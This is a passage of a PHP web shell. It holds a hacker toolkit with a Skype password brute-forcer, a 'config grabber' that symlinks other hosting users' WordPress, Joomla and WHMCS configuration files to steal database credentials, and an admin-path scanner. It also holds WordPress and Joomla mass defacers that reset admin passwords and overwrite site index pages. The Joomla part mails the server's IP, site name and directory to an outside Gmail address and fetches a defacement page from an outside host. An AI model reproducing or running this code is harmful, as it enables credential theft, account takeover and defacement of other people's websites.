5027<img src='http://www.in-travel.info/easter2013/wp-content/uploads/2012/12/Skype-Logo-300x133.png'><br/><br/><nobr><span class='b7'>O=:[ BRUTEFORCE</span> <span class='b8'>SKYPE ACCOUNT ]:=O</span></nobr><br/><br/>
5028<nobr>Username : <input style='color:#FF0000;background-color:#000000' type='text' name='skypename' placeholder='Skype Name' size='38'><br>
5029<textarea style='color:#FF0000;background-color:#000000' rows='16' cols='38' name='passwords' placeholder='passwords'></textarea><br><br>
5030<input style='color:#FF0000;background-color:#000000' type='submit' value='Start BruteForce' name='brute'><br>
5031</center>
5032</form>
5033<?php
5034@set_time_limit(0);
5035$skype = "https://login.skype.com/login?application=account&return_url=https%3A%2F%2Fsecure.skype.com%2Faccount%2Flogin";
5036# Username & Password
5037$username = $_POST['skypename'];
5038$password = explode("\r\n", $_POST['passwords']);
5039
5040$time = date_default_timezone_set("Asia/Jakarta");
5041$date = date('H:i:s');
5042$header = "HTTP/1.1 302";
5043function xsecurity($skype){
5044$ch = curl_init();
5045curl_setopt($ch, CURLOPT_URL, $skype);
5046curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
5047curl_setopt($ch, CURLOPT_HEADER, 1);
5048curl_setopt($ch, CURLOPT_POST, 1);
5049curl_setopt($ch,CURLOPT_COOKIEJAR, getcwd()."./cookie.txt");
5050curl_setopt($ch,CURLOPT_COOKIEFILE, getcwd()."./cookie.txt");
5051curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
5052$run = curl_exec($ch);
5053preg_match('/<input type="hidden" name="session_token" value="(.*?)"/', $run, $hash);
5054preg_match('/<input type="hidden" name="pie" id="pie" value="(.*?)"/', $run, $piie);
5055preg_match('/<input type="hidden" name="etm" id="etm" value="(.*?)"/', $run, $etmm);
5056return $hash[1]."|:|".$piie[1]."|:|".$etmm[1];}
5057
5058$xsec = explode("|:|" ,xsecurity($skype));
5059$token = $xsec[0];
5060$pie = $xsec[1];
5061$etm = $xsec[2];
5062
5063function brute($skype,$username,$pass,$header){
5064$ch = curl_init();
5065curl_setopt($ch, CURLOPT_URL, $skype);
5066curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
5067curl_setopt($ch, CURLOPT_HEADER, 1);
5068curl_setopt($ch, CURLOPT_POST, 1);
5069curl_setopt($ch, CURLOPT_POSTFIELDS, "username={$username}&password={$pass}&timezone_field=%2B03%7C00&pie={$pie}&etm={$etm}&js_time={$date}&session_token={$token}&application=account&return_url=https%3A%2F%2Fsecure.skype.com%2Faccount%2Flogin");
5070curl_setopt($ch,CURLOPT_COOKIEJAR, getcwd()."./cookie.txt");
5071curl_setopt($ch,CURLOPT_COOKIEFILE, getcwd()."./cookie.txt");
5072curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
5073$brute = curl_exec($ch);
5074if(strstr($brute, $header)){
5075echo "<br><br><nobr><center><span class='b11'>[+] Password Cracked is <b>{$pass}</b> --> <b>{$username}</b></span></center>";
5076}
5077return $brute;
5078}
5079if($_POST['brute']){
5080foreach($password as $pass)
5081{
5082brute($skype,$username,$pass,$header);
5083}
5084}
5085?>
5086
5087<?php }
5088# x=grabber
5089elseif(isset($_GET['x']) && ($_GET['x'] == 'grabber')){
5090?>
5091<form action="?dm=<?php echo $pwd; ?>&x=grabber" method="post">
5092
5093<center><br/><br/><nobr><span class="b7">O=:[ CONFIG</span> <span class="b8">GRABBER ]:=O</nobr><br/><br/><form method="POST">
5094<textarea style="color:#FF0000;background-color:#000000"cols="50" rows="20" name="passwd" ></textarea><br/><br/>
5095<input name="cat" size="80" style="color:#FF0000;background-color:#000000" value="START GRAB CONFIG" type="submit"><br/></form>
5096
5097<?php
5098@error_reporting(0);
5099@set_time_limit(0);
5100if($_POST["cat"] && !$_POST["passwd"]==""){
5101echo "Checking Functions ...<br>";
5102$functions=@ini_get("disable_functions");
5103if(eregi("symlink",$functions)){
5104die("<center><br/><br/><nobr><span class='b9'>DISABLE FUNCTIONS IS ON</span></nobr><br/><br/></center>");
5105}
5106@mkdir("dm_grab", 0755);
5107@chdir("dm_grab");
5108$htaccess="
5109Options all
5110Options +Indexes
5111Options +FollowSymLinks
5112DirectoryIndex Sux.html
5113AddType text/plain .php
5114AddHandler server-parsed .php
5115AddType text/plain .html
5116AddHandler txt .html
5117Require None
5118Satisfy Any";
5119file_put_contents(".htaccess",$htaccess,FILE_APPEND);
5120$passwd=$_POST["passwd"];
5121$passwd=explode("\n",$passwd);
5122echo "Start Symlinking ...<br>";
5123foreach($passwd as $pwd){
5124$pawd=explode(":",$pwd);
5125$user =$pawd[0];
5126// Now symlink Them
5127@symlink('/home/'.$user.'/public_html/includes/configure.php',$user.'-shop.txt');
5128@symlink('/home/'.$user.'/public_html/os/includes/configure.php',$user.'-shop-os.txt');
5129@symlink('/home/'.$user.'/public_html/oscom/includes/configure.php',$user.'-oscom.txt');
5130@symlink('/home/'.$user.'/public_html/oscommerce/includes/configure.php',$user.'-oscommerce.txt');
5131@symlink('/home/'.$user.'/public_html/oscommerces/includes/configure.php',$user.'-oscommerces.txt');
5132@symlink('/home/'.$user.'/public_html/shop/includes/configure.php',$user.'-shop2.txt');
5133@symlink('/home/'.$user.'/public_html/shopping/includes/configure.php',$user.'-shop-shopping.txt');
5134@symlink('/home/'.$user.'/public_html/sale/includes/configure.php',$user.'-sale.txt');
5135@symlink('/home/'.$user.'/public_html/amember/config.inc.php',$user.'-amember.txt');
5136@symlink('/home/'.$user.'/public_html/config.inc.php',$user.'-amember2.txt');
5137@symlink('/home/'.$user.'/public_html/members/configuration.php',$user.'-members.txt');
5138@symlink('/home/'.$user.'/public_html/config.php',$user.'-4images1.txt');
5139@symlink('/home/'.$user.'/public_html/forum/includes/config.php',$user.'-forum.txt');
5140@symlink('/home/'.$user.'/public_html/forums/includes/config.php',$user.'-forums.txt');
5141@symlink('/home/'.$user.'/public_html/admin/conf.php',$user.'-5.txt');
5142@symlink('/home/'.$user.'/public_html/admin/config.php',$user.'-4.txt');
5143@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
5144@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
5145@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
5146@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
5147@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
5148@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
5149@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
5150@symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
5151@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
5152@symlink('/home/'.$user.'/public_html/wordpress/beta/wp-config.php',$user.'-wp13-wordpress-beta.txt');
5153@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
5154@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
5155@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
5156@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
5157@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
5158@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');
5159@symlink('/home/'.$user.'/public_html/protal/wp-config.php',$user.'-wp-protal.txt');
5160@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
5161@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
5162@symlink('/home/'.$user.'/public_html/test/wp-config.php',$user.'-wp-test.txt');
5163@symlink('/home/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
5164@symlink('/home/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
5165@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
5166@symlink('/home/'.$user.'/public_html/protal/configuration.php',$user.'-joomla-protal.txt');
5167@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
5168@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
5169@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
5170@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
5171@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
5172@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
5173@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');
5174@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
5175@symlink('/home/'.$user.'/public_html/vb3/includes/config.php',$user.'-vb3-config.txt');
5176@symlink('/home/'.$user.'/public_html/cc/includes/config.php',$user.'-vb1-config.txt');
5177@symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-includes-vb.txt');
5178@symlink('/home/'.$user.'/public_html/forum/includes/class_core.php',$user.'-vbluttin-class_core.php.txt');
5179@symlink('/home/'.$user.'/public_html/vb/includes/class_core.php',$user.'-vbluttin-class_core.php1.txt');
5180@symlink('/home/'.$user.'/public_html/cc/includes/class_core.php',$user.'-vbluttin-class_core.php2.txt');
5181@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');
5182@symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');
5183@symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
5184@symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
5185@symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
5186@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');
5187@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');
5188@symlink('/home/'.$user.'/public_html/supp/configuration.php',$user.'-supp.txt');
5189@symlink('/home/'.$user.'/public_html/secure/configuration.php',$user.'-sucure.txt');
5190@symlink('/home/'.$user.'/public_html/secure/whm/configuration.php',$user.'-sucure-whm.txt');
5191@symlink('/home/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-sucure-whmcs.txt');
5192@symlink('/home/'.$user.'/public_html/cpanel/configuration.php',$user.'-cpanel.txt');
5193@symlink('/home/'.$user.'/public_html/panel/configuration.php',$user.'-panel.txt');
5194@symlink('/home/'.$user.'/public_html/host/configuration.php',$user.'-host.txt');
5195@symlink('/home/'.$user.'/public_html/hosting/configuration.php',$user.'-hosting.txt');
5196@symlink('/home/'.$user.'/public_html/hosts/configuration.php',$user.'-hosts.txt');
5197@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
5198@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');
5199@symlink('/home/'.$user.'/public_html/clients/configuration.php',$user.'-clients.txt');
5200@symlink('/home/'.$user.'/public_html/client/configuration.php',$user.'-client.txt');
5201@symlink('/home/'.$user.'/public_html/clientes/configuration.php',$user.'-clientes.txt');
5202@symlink('/home/'.$user.'/public_html/cliente/configuration.php',$user.'-client.txt');
5203@symlink('/home/'.$user.'/public_html/clientsupport/configuration.php',$user.'-clientsupport.txt');
5204@symlink('/home/'.$user.'/public_html/billing/configuration.php',$user.'-billing.txt');
5205@symlink('/home/'.$user.'/public_html/manage/configuration.php',$user.'-whm-manage.txt');
5206@symlink('/home/'.$user.'/public_html/my/configuration.php',$user.'-whm-my.txt');
5207@symlink('/home/'.$user.'/public_html/myshop/configuration.php',$user.'-whm-myshop.txt');
5208@symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$user.'-zencart.txt');
5209@symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-shop-zencart.txt');
5210@symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-shop-ZCshop.txt');
5211@symlink('/home/'.$user.'/public_html/Settings.php',$user.'-smf.txt');
5212@symlink('/home/'.$user.'/public_html/smf/Settings.php',$user.'-smf2.txt');
5213@symlink('/home/'.$user.'/public_html/forum/Settings.php',$user.'-smf-forum.txt');
5214@symlink('/home/'.$user.'/public_html/forums/Settings.php',$user.'-smf-forums.txt');
5215@symlink('/home/'.$user.'/public_html/upload/includes/config.php',$user.'-up.txt');
5216@symlink('/home/'.$user.'/public_html/article/config.php',$user.'-Nwahy.txt');
5217@symlink('/home/'.$user.'/public_html/up/includes/config.php',$user.'-up2.txt');
5218@symlink('/home/'.$user.'/public_html/conf_global.php',$user.'-6.txt');
5219@symlink('/home/'.$user.'/public_html/include/db.php',$user.'-7.txt');
5220@symlink('/home/'.$user.'/public_html/connect.php',$user.'-PHP-Fusion.txt');
5221@symlink('/home/'.$user.'/public_html/mk_conf.php',$user.'-9.txt');
5222@symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-traidnt1.txt');
5223@symlink('/home/'.$user.'/public_html/config.php',$user.'-4images.txt');
5224@symlink('/home/'.$user.'/public_html/sites/default/settings.php',$user.'-Drupal.txt');
5225@symlink('/home/'.$user.'/public_html/member/configuration.php',$user.'-1member.txt') ;
5226@symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-billings.txt') ;
5227@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');
5228@symlink('/home/'.$user.'/public_html/supports/configuration.php',$user.'-supports.txt');
5229@symlink('/home/'.$user.'/public_html/requires/config.php',$user.'-AM4SS-hosting.txt');
5230@symlink('/home/'.$user.'/public_html/supports/includes/iso4217.php',$user.'-hostbills-supports.txt');
5231@symlink('/home/'.$user.'/public_html/client/includes/iso4217.php',$user.'-hostbills-client.txt');
5232@symlink('/home/'.$user.'/public_html/support/includes/iso4217.php',$user.'-hostbills-support.txt');
5233@symlink('/home/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-hostbills-billing.txt');
5234@symlink('/home/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-hostbills-billings.txt');
5235@symlink('/home/'.$user.'/public_html/host/includes/iso4217.php',$user.'-hostbills-host.txt');
5236@symlink('/home/'.$user.'/public_html/hosts/includes/iso4217.php',$user.'-hostbills-hosts.txt');
5237@symlink('/home/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-hostbills-hosting.txt');
5238@symlink('/home/'.$user.'/public_html/hostings/includes/iso4217.php',$user.'-hostbills-hostings.txt');
5239@symlink('/home/'.$user.'/public_html/includes/iso4217.php',$user.'-hostbills.txt');
5240@symlink('/home/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-hostbills-hostbills.txt');
5241@symlink('/home/'.$user.'/public_html/hostbill/includes/iso4217.php',$user.'-hostbills-hostbill.txt');
5242}
5243echo "<center><br/><br/><a href='dm_grab'><nobr><span class='b9'>CHECK CONFIG GRABBER</span></nobr><br/></a><br/><br/>";
5244}
5245?>
5246
5247<?php }
5248# x=ascan
5249elseif(isset($_GET['x']) && ($_GET['x'] == 'ascan')){ ?>
5250<form action="?dn=<?php echo $pwd; ?>&x=ascan" method="post">
5251
5252 <center><br/><br/><nobr><span class="b7">O=:[ ADMIN LOGIN</span> <span class="b8">PATH SCANNER ]:=O</nobr><br/><br/> <form method="POST"> Website : <input name="target" style="color:#FF0000;background-color:#000000" size="25" value="http://"><input type="submit" style="color:#FF0000;background-color:#000000" value=" >> "></form></center>
5253
5254<?php
5255$target = $_POST['target'];
5256$admins = array('/admin',
5257'/adminweb',
5258'/safeadmin',
5259'/adminweb',
5260'/controlpanel',
5261'/cpanel',
5262'/admcp',
5263'/admin.asp',
5264'/sysadmin.php',
5265'/useradmin',
5266'/wp-admin',
5267'/webadmin',
5268'/SysAdmin',
5269'/administer',
5270'/administrator',
5271'/adm',
5272'/directadmin',
5273'/staradmin',
5274'/panel',
5275'/wp-login'
5276,'/pureadmin',
5277'/webmaster',
5278'/ADMIN',
5279'/login',
5280'/paneldecontrol',
5281'/administrador',
5282'/admin.php',
5283'/login',
5284'/loign.php',
5285'/administrator.php',
5286'/admins.php',
5287'/logins',
5288'/admincp',
5289'/admincp.php');
5290foreach($admins as $admin) {
5291$jamban = ($target).($admin);
5292$get = @file_get_contents($jamban);
5293if($get) {
5294echo "<br>[+] FOUND : <a href='".$jamban."' target='_blank'>".$jamban."</a> [+]<br>";
5295}
5296}
5297?>
5298
5299<?php }
5300elseif(isset($_GET['x']) && ($_GET['x'] == 'wpmass')){ ?>
5301<form action="?y=<?php echo $pwd; ?>&x=wpmass" method="post">
5302<?php
5303ini_set("display_errors", "0");
5304set_time_limit(0);
5305@session_start();
5306$base_path = dirname(__FILE__).'/';
5307
5308
5309function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
5310 $ar0=explode($marqueurDebutLien, $text);
5311 $ar1=explode($marqueurFinLien, $ar0[$i]);
5312 return trim($ar1[0]);
5313}
5314
5315function randomt() {
5316 $chars = "abcdefghijkmnopqrstuvwxyz023456789";
5317 srand((double)microtime()*1000000);
5318 $i = 0;
5319 $pass = '';
5320 while ($i <= 7) {
5321 $num = rand() % 33;
5322 $tmp = substr($chars, $num, 1);
5323 $pass = $pass . $tmp;
5324 $i++;
5325 }
5326 return $pass;
5327}
5328
5329function index_changer_wp($conf, $content) {
5330 $output = '';
5331 $dol = '$';
5332 $username = entre2v2($conf,"define('DB_USER', '","');");
5333 $password = entre2v2($conf,"define('DB_PASSWORD', '","');");
5334 $dbname = entre2v2($conf,"define('DB_NAME', '","');");
5335 $prefix = entre2v2($conf,$dol."table_prefix = '","'");
5336 $host = entre2v2($conf,"define('DB_HOST', '","');");
5337
5338 $link=mysql_connect($host,$username,$password);
5339 if($link) {
5340 mysql_select_db($dbname,$link) ;
5341 $dol = '$';
5342 $req1 = mysql_query("UPDATE `".$prefix."users` SET `user_login` = 'admin',`user_pass` = '0a56f86a4ea789f555c2bdfafb61fd4a' WHERE `ID` = 1");
5343 } else {
5344 $output.= "[-] DB Error<br />";
5345 }
5346 if($req1) {
5347
5348 $req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='home'");
5349 $data = mysql_fetch_array($req);
5350 $site_url=$data["option_value"];
5351
5352 $req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='template'");
5353 $data = mysql_fetch_array($req);
5354 $template = $data["option_value"];
5355
5356 $req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='current_theme'");
5357 $data = mysql_fetch_array($req);
5358 $current_theme = $data["option_value"];
5359
5360 $useragent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";
5361 $url2=$site_url."/wp-login.php";
5362
5363 $ch = curl_init();
5364 curl_setopt($ch, CURLOPT_URL, $url2);
5365 curl_setopt($ch, CURLOPT_POST, 1);
5366 curl_setopt($ch, CURLOPT_POSTFIELDS,"log=admin&pwd=slymn123&rememberme=forever&wp-submit=Log In&testcookie=1");
5367 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5368 curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
5369 curl_setopt($ch, CURLOPT_HEADER, 0);
5370 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
5371 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5372 curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
5373 curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
5374 $buffer = curl_exec($ch);
5375
5376 $pos = strpos($buffer,"action=logout");
5377 if($pos === false) {
5378 $output.= "[-] Giris Basarisiz<br />";
5379 } else {
5380 $output.= "[+] Giris Basarili<br />";
5381 }
5382
5383 $url2=$site_url."/wp-admin/theme-editor.php?file=/themes/".$template.'/index.php&theme='.urlencode($current_theme).'&dir=theme';
5384 curl_setopt($ch, CURLOPT_URL, $url2);
5385 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
5386 curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
5387 curl_setopt($ch, CURLOPT_HEADER, 0);
5388 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5389 curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
5390 curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
5391 $buffer0 = curl_exec($ch);
5392
5393 $_wpnonce = entre2v2($buffer0,'<input type="hidden" id="_wpnonce" name="_wpnonce" value="','" />');
5394 $_file = entre2v2($buffer0,'<input type="hidden" name="file" value="','" />');
5395
5396 if(substr_count($_file,"/index.php") != 0){
5397 $output.= "[+] index.php CROT<br />";
5398 } else {
5399 $output.= "[-] index.php CROT<br />";
5400 }
5401
5402 $url2=$site_url."/wp-admin/theme-editor.php";
5403 curl_setopt($ch, CURLOPT_URL, $url2);
5404 curl_setopt($ch, CURLOPT_POST, 1);
5405 curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".$content."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File");
5406 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5407 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5408 curl_setopt($ch, CURLOPT_HEADER, 0);
5409 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5410 curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
5411 curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
5412 $buffer = curl_exec($ch);
5413 curl_close($ch);
5414
5415 $pos = strpos($buffer,'<div id="message" class="updated">');
5416 $cond = 0;
5417 if($pos === false) {
5418 $output.= "[-] index.php CROT<br />";
5419 } else {
5420 $output.= "[+] index.php CROT<br />";
5421 $cond = 1;
5422 }
5423 } else {
5424 $output.= "[-] DB Error<br />";
5425 }
5426 global $base_path;
5427 unlink($base_path.'COOKIE.txt');
5428 return array('cond'=>$cond, 'output'=>$output);
5429}
5430
5431function exec_mode_1($def_url) {
5432
5433 @mkdir('sym',0777);
5434 $wr = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
5435 $fp = @fopen ('sym/.htaccess','w');
5436 fwrite($fp, $wr);
5437 @symlink('/','sym/root');
5438 $dominios = @file_get_contents("/etc/named.conf");
5439 @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
5440 $out[1] = array_unique($out[1]);
5441 $numero_dominios = count($out[1]);
5442 echo "Toplam Site: $numero_dominios <br><br />";
5443 $def = file_get_contents($def_url);
5444 $def = urlencode($def);
5445 $base_url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/sym/root/home/';
5446 $output = fopen('defaced.html', 'a+');
5447 $_SESSION['count1'] = (isset($_GET['st']) && $_GET['st']!='') ? (isset($_SESSION['count1']) ? $_SESSION['count1'] :0 ) : 0;
5448 $_SESSION['count2'] = (isset($_GET['st']) && $_GET['st']!='') ? (isset($_SESSION['count2']) ? $_SESSION['count2'] :0 ) : 0;
5449 echo '<table style="width:75%;"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th>
5450<th>SID</th><th>Domain</th><th>Script</th><th>DM</th><th>dm</th></tr>';
5451 $j = 1;
5452 $st = (isset($_GET['st']) && $_GET['st']!='') ? $_GET['st'] : 0;
5453 for($i = $st; $i <= $numero_dominios; $i++)
5454 {
5455 $domain = $out[1][$i];
5456 $dono_arquivo = @fileowner("/etc/valiases/".$domain);
5457 $infos = @posix_getpwuid($dono_arquivo);
5458
5459 $config02 = @file_get_contents($base_url.$infos['name']."/public_html/wp-config.php");
5460
5461 $cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';
5462
5463 if($config02 && preg_match('/DB_NAME/i',$config02)){
5464 echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';
5465 echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';
5466 $res = index_changer_wp($config02, $def);
5467 echo '<td>'.$res['output'].'</td>';
5468 if($res['cond']) {
5469 echo '<td align="center"><span class="green">HACKED</span></td>';
5470 fwrite($output, 'http://'.$domain."<br>");
5471 $_SESSION['count2'] = $_SESSION['count2'] + 1;
5472 } else {
5473 echo '<td align="center"><span class="red">BASARISIZ</span></td>';
5474 }
5475 echo '</tr>';
5476 }
5477 }
5478 echo '</table>';
5479 echo '<hr/>';
5480 echo 'TOTAL Deface = '.($_SESSION['count1']+$_SESSION['count2']).'<br />';
5481
5482}
5483echo '<!DOCTYPE html>
5484<html>
5485<head>
5486 <title>WP Mass Defacer</title>
5487<script type="text/javascript">
5488 function change() {
5489 if(document.getElementById(\'rcd\').checked == true) {
5490 document.getElementById(\'tra\').style.display = \'\';
5491 } else {
5492 document.getElementById(\'tra\').style.display = \'none\';
5493 }
5494 }
5495 function hide() {
5496 document.getElementById(\'tra\').style.display = \'none\';
5497 }
5498 </script>
5499</head>
5500<body>
5501<div style="background: rgba(0,0,0,0.5);padding:90px 0 65px 0;">
5502<h2 style="color:#0066FF;text-align: center;">Wordpress Mass Defacer</h2>';
5503
5504
5505 if(!isset($_POST['form_action'])){ echo '<div align="center">
5506 <form action="" method="post">
5507 <input type="hidden" name="form_action" value="1"><br>index url:
5508<input type="text" style="color:#FF0000;background-color:#000000" name="indexadresi" value="http://site.com/index.html" /><br>
5509 <input class=submit style="color:#FF0000;background-color:#000000" type="submit" value="!! START !!" name="Submit">
5510 </form>
5511 </div>';
5512 }
5513 echo '<div align="center">';
5514 if($_POST['form_action'] == 1) {
5515 exec_mode_1($_POST['indexadresi']);
5516 }
5517 echo '</div>
5518 </div>
5519</body>
5520</html>';
5521?>
5522
5523
5524
5525<?php }
5526elseif(isset($_GET['x']) && ($_GET['x'] == 'jomass')){ ?>
5527<form action="?y=<?php echo $pwd; ?>&x=jomass" method="post">
5528 <html>
5529 <?
5530
5531
5532 ini_set("display_errors", "0");
5533 set_time_limit(0);
5534 @session_start();
5535 echo "<p> <center> <font color=red font face='tahoma' size='6pt'>AUTOMATIC JOOMLA DEFACER </center></font> </p>";
5536
5537 //mail feature
5538 $body=("server ip:".$_SERVER['SERVER_ADDR']." "."Site Name:".$_SERVER['SERVER_NAME']." "."Directory".dirname(__FILE__));
5539 mail('proxyhoax@gmail.com',$_SERVER['SERVER_ADDR'],$body);
5540
5541 $base_url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']);
5542
5543 //create symlink of / to /sym/root/
5544 @mkdir('sym',0777);
5545 $wr = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
5546 $fp = @fopen ('sym/.htaccess','w');
5547 fwrite($fp, $wr);
5548 @symlink('/','sym/root');
5549 //collecting site names
5550 $text=file_get_contents($base_url.'/sym/root/var/named/');
5551 $ar = explode('<li><a href="', $text);
5552 for($vi=2;$vi < count($ar);$vi++)
5553 {
5554 $var1 = strtok($ar[$vi], " ");
5555 $var1 = substr($var1,0,-2);
5556 $old=('.db');
5557 $new=('');
5558 $sites = str_replace($old , $new , $var1);
5559 $filename = 'sites.txt';
5560 $fp = fopen($filename, "a+");
5561 $write = fputs($fp, $sites."\n");
5562 fclose($fp);
5563 }
5564
5565 //collecting domainuser names for sites
5566 $domainusers=file('sites.txt');
5567 foreach ($domainusers as $domainuser) {
5568 $textexec=("ls -la /etc/valiases/".$domainuser);
5569 $exec=exec($textexec);
5570 $filename = 'lsla.txt';
5571 $fp = fopen($filename, "a+");
5572 $write = fputs($fp, $exec."\n");
5573 fclose($fp);
5574 }
5575
5576 //creating final domain and domain user list
5577 $lsla=file('lsla.txt');
5578 foreach ($lsla as $finaldom) {
5579 $user=entre2v2($finaldom,"-rw-r----- 1 "," mail");
5580 $site=substr(strstr($finaldom, '/etc/valiases'),14);
5581
5582 $filename = 'bhung.txt';
5583 $fp = fopen($filename, "a+");
5584 $write = fputs($fp, $user.":". $site." ");
5585 fclose($fp);
5586
5587 }
5588
5589 $f=file_get_contents('bhung.txt');
5590 $finals=explode(" ",$f);
5591 foreach ($finals as $final){
5592 $strlen=('6');
5593 $dr=strlen ($final);
5594 if ($dr < $strlen) {
5595
5596 $filename = 'faltu.txt';
5597 $fp = fopen($filename, "a");
5598 $write = fputs($fp, $final);
5599 fclose($fp);
5600 }
5601 else {
5602 $filename = 'gold.txt';
5603 $fp = fopen($filename, "a");
5604 $write = fputs($fp, $final."\n");
5605 fclose($fp);
5606 }
5607
5608 }
5609 //delete ajaira text files
5610 unlink ('bhung.txt');
5611 unlink ('faltu.txt');
5612 unlink ('lsla.txt');
5613 unlink ('sites.txt');
5614
5615 $h=file_get_contents('http://dmzone-defacer.tk/index.html');
5616 $url=($base_url);
5617 $a=file($base_url.'/gold.txt');
5618 echo ("<center><table border=1 cellspacing=1 cellpading=1>
5619 <tr> <th width=200>Domain User</th> <th width=250>Website Name</td><th width=100>CMS</td><th width=200>Status</td></tr>");
5620
5621 foreach ($a as $final) {
5622 list($user, $site_url) = explode(":", $final);
5623 $site_urlto = substr($site_url, 0, -1);
5624 $url2=($url."/sym/root/home/".$user."/public_html/configuration.php");
5625 $configs=file_get_contents($url2);
5626 $old=('$');
5627 $new=('hax0rsistz');
